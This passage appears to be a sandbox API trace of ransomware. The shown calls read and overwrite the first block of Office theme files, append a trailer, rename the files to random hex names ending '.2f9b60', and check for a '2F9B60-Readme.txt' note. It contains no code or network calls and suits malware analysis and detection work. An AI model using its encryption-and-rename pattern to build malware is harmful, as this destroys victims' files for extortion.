Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x74ae94a1 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x3767283a [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x64204bea [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x38dbd321 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x66d0054e [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x68724bfd [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x4ec7c8c [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x2ce52809 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x5076894f [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x510fbdf8 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x47dc3fa8 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x7f79de69 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x395dffd0 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x30d645e7 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x30edde4e [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x3bbe7a41 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x61dc1369 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x37abdabb [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x6fb64693 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x279b3a67 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x73effec8 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x550f4e66 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x57e32f1b [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x5f001cc8 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x2a41d6b5 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x541c651e [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x5273fd28 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x3d80d0ab [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x592015a3 [0088.695] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x614069da [0088.704] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.704] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24cff680, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x24cff680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.708] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0088.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0088.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.709] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24cff680, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x24cff680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f970 [0088.728] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.728] WriteFile (in: hFile=0xa3c, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x24cff730, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x24cff730*=0x10e, lpOverlapped=0x0) returned 1 [0088.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859eb0) returned 1 [0088.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b859eb0 [0088.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a090 [0088.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a090) returned 1 [0088.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0088.732] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="c2") returned 2 [0088.732] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="69") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="4d") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="26") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="e0") returned 2 [0088.733] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="f8") returned 2 [0088.733] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="e6") returned 2 [0088.733] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="4f") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="62") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="5c") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="25") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="ce") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="53") returned 2 [0088.733] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="fc") returned 2 [0088.733] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="7a") returned 2 [0088.733] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="12") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="8c") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="2e") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="7b") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="b0") returned 2 [0088.733] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="4b") returned 2 [0088.733] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="13") returned 2 [0088.734] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="64") returned 2 [0088.734] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="9e") returned 2 [0088.734] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="31") returned 2 [0088.734] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="cb") returned 2 [0088.734] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="f3") returned 2 [0088.734] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="8e") returned 2 [0088.734] RtlInitAnsiString (in: DestinationString=0x24cff7a8, SourceString="c2694d26e0f8e64f625c25ce53fc7a128c2e7bb04b13649e31cbf38e" | out: DestinationString="c2694d26e0f8e64f625c25ce53fc7a128c2e7bb04b13649e31cbf38e") [0088.734] RtlAnsiStringToUnicodeString (in: DestinationString=0x24cff778, SourceString="c2694d26e0f8e64f625c25ce53fc7a128c2e7bb04b13649e31cbf38e", AllocateDestinationString=1 | out: DestinationString="c2694d26e0f8e64f625c25ce53fc7a128c2e7bb04b13649e31cbf38e") returned 0x0 [0088.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e070 [0088.734] wcscat (in: _Dest=0x1b7ad2a0, _Source="c2694d26e0f8e6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c2694d26e0f8e6") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c2694d26e0f8e6" [0088.734] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c2694d26e0f8e6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c2694d26e0f8e6.2f9b60" [0088.734] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c2694d26e0f8e6.2f9b60", NtPathName=0x24cff750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\c2694d26e0f8e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106e80 [0088.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.736] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x24cff7b8, FileInformation=0x24cff7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24cff7b8, FileInformation=0x24cff7c8) returned 0x0 [0088.736] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x24cff7b8, FileInformation=0x24cff7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.738] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.740] CloseHandle (hObject=0xa3c) returned 1 [0088.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.764] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.764] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784ac0) returned 1 Thread: id = 337 os_tid = 0xe74 [0088.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx")) returned 0x20 [0088.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx", dwFileAttributes=0x20) returned 1 [0088.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0088.706] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x24dcfe40 | out: lpFileSize=0x24dcfe40*=55112) returned 1 [0088.706] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xd744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.706] ReadFile (in: hFile=0xa44, lpBuffer=0x24dcfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24dcfe08, lpOverlapped=0x0 | out: lpBuffer=0x24dcfdc0*, lpNumberOfBytesRead=0x24dcfe08*=0x4, lpOverlapped=0x0) returned 1 [0088.710] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.711] NtQuerySystemTime (in: CurrentTime=0x24dcfd00 | out: CurrentTime=0x24dcfd00*=132462176945746000) returned 0x0 [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x75c848bd [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x43e67d0b [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x1d12bed7 [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x4b26b9c1 [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x714e904a [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x5e5bccd2 [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x59f344df [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x64f9a8c9 [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x7c94386c [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x6ab7f991 [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x7a5dd5c2 [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x6566f80e [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x4723e568 [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x53afccab [0088.711] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x2109c610 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x1c53746f [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x1b41c035 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x4a0c121c [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x2f108a53 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x2e016ad1 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x6fe45928 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x5dee81a0 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x6138aaf2 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x1b338d9b [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x7b0938c2 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x4287c741 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x4f307cd3 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x6e758001 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x6fa7cc86 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x233aa8e8 [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x6db6769a [0088.712] RtlRandomEx (in: Seed=0x24dcfcf0 | out: Seed=0x24dcfcf0) returned 0x4bdeee64 [0088.726] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.726] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce68940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24dcfd60, lpOverlapped=0x0 | out: lpBuffer=0x1ce68940*, lpNumberOfBytesRead=0x24dcfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0088.728] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859eb0) returned 1 [0088.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.729] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24dcfd60, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x24dcfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0088.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce68940) returned 1 [0088.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f970 [0088.739] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.739] WriteFile (in: hFile=0xa44, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x24dcfe10, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x24dcfe10*=0x10e, lpOverlapped=0x0) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d90) returned 1 [0088.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b859d90 [0088.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0088.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0088.755] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="4e") returned 2 [0088.755] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="9e") returned 2 [0088.755] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="2a") returned 2 [0088.755] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="fd") returned 2 [0088.755] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="f1") returned 2 [0088.755] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="fd") returned 2 [0088.755] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="75") returned 2 [0088.756] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="b9") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="34") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="f4") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="6b") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="33") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="34") returned 2 [0088.756] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="45") returned 2 [0088.756] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="37") returned 2 [0088.756] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="c0") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="c0") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="59") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="86") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="93") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="97") returned 2 [0088.756] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="e0") returned 2 [0088.756] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="9e") returned 2 [0088.756] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="51") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="46") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="95") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="a1") returned 2 [0088.756] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="7f") returned 2 [0088.756] RtlInitAnsiString (in: DestinationString=0x24dcfe88, SourceString="4e9e2afdf1fd75b934f46b33344537c0c059869397e09e514695a17f" | out: DestinationString="4e9e2afdf1fd75b934f46b33344537c0c059869397e09e514695a17f") [0088.756] RtlAnsiStringToUnicodeString (in: DestinationString=0x24dcfe58, SourceString="4e9e2afdf1fd75b934f46b33344537c0c059869397e09e514695a17f", AllocateDestinationString=1 | out: DestinationString="4e9e2afdf1fd75b934f46b33344537c0c059869397e09e514695a17f") returned 0x0 [0088.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dff0 [0088.757] wcscat (in: _Dest=0x1b7ad2a0, _Source="4e9e2afdf1fd75" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4e9e2afdf1fd75") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4e9e2afdf1fd75" [0088.757] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4e9e2afdf1fd75.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4e9e2afdf1fd75.2f9b60" [0088.757] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4e9e2afdf1fd75.2f9b60", NtPathName=0x24dcfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\4e9e2afdf1fd75.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106e80 [0088.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.758] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x24dcfe98, FileInformation=0x24dcfea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24dcfe98, FileInformation=0x24dcfea8) returned 0x0 [0088.758] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x24dcfe98, FileInformation=0x24dcfea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.760] FlushFileBuffers (hFile=0xa44) returned 1 [0088.761] CloseHandle (hObject=0xa44) returned 1 [0088.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.762] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: 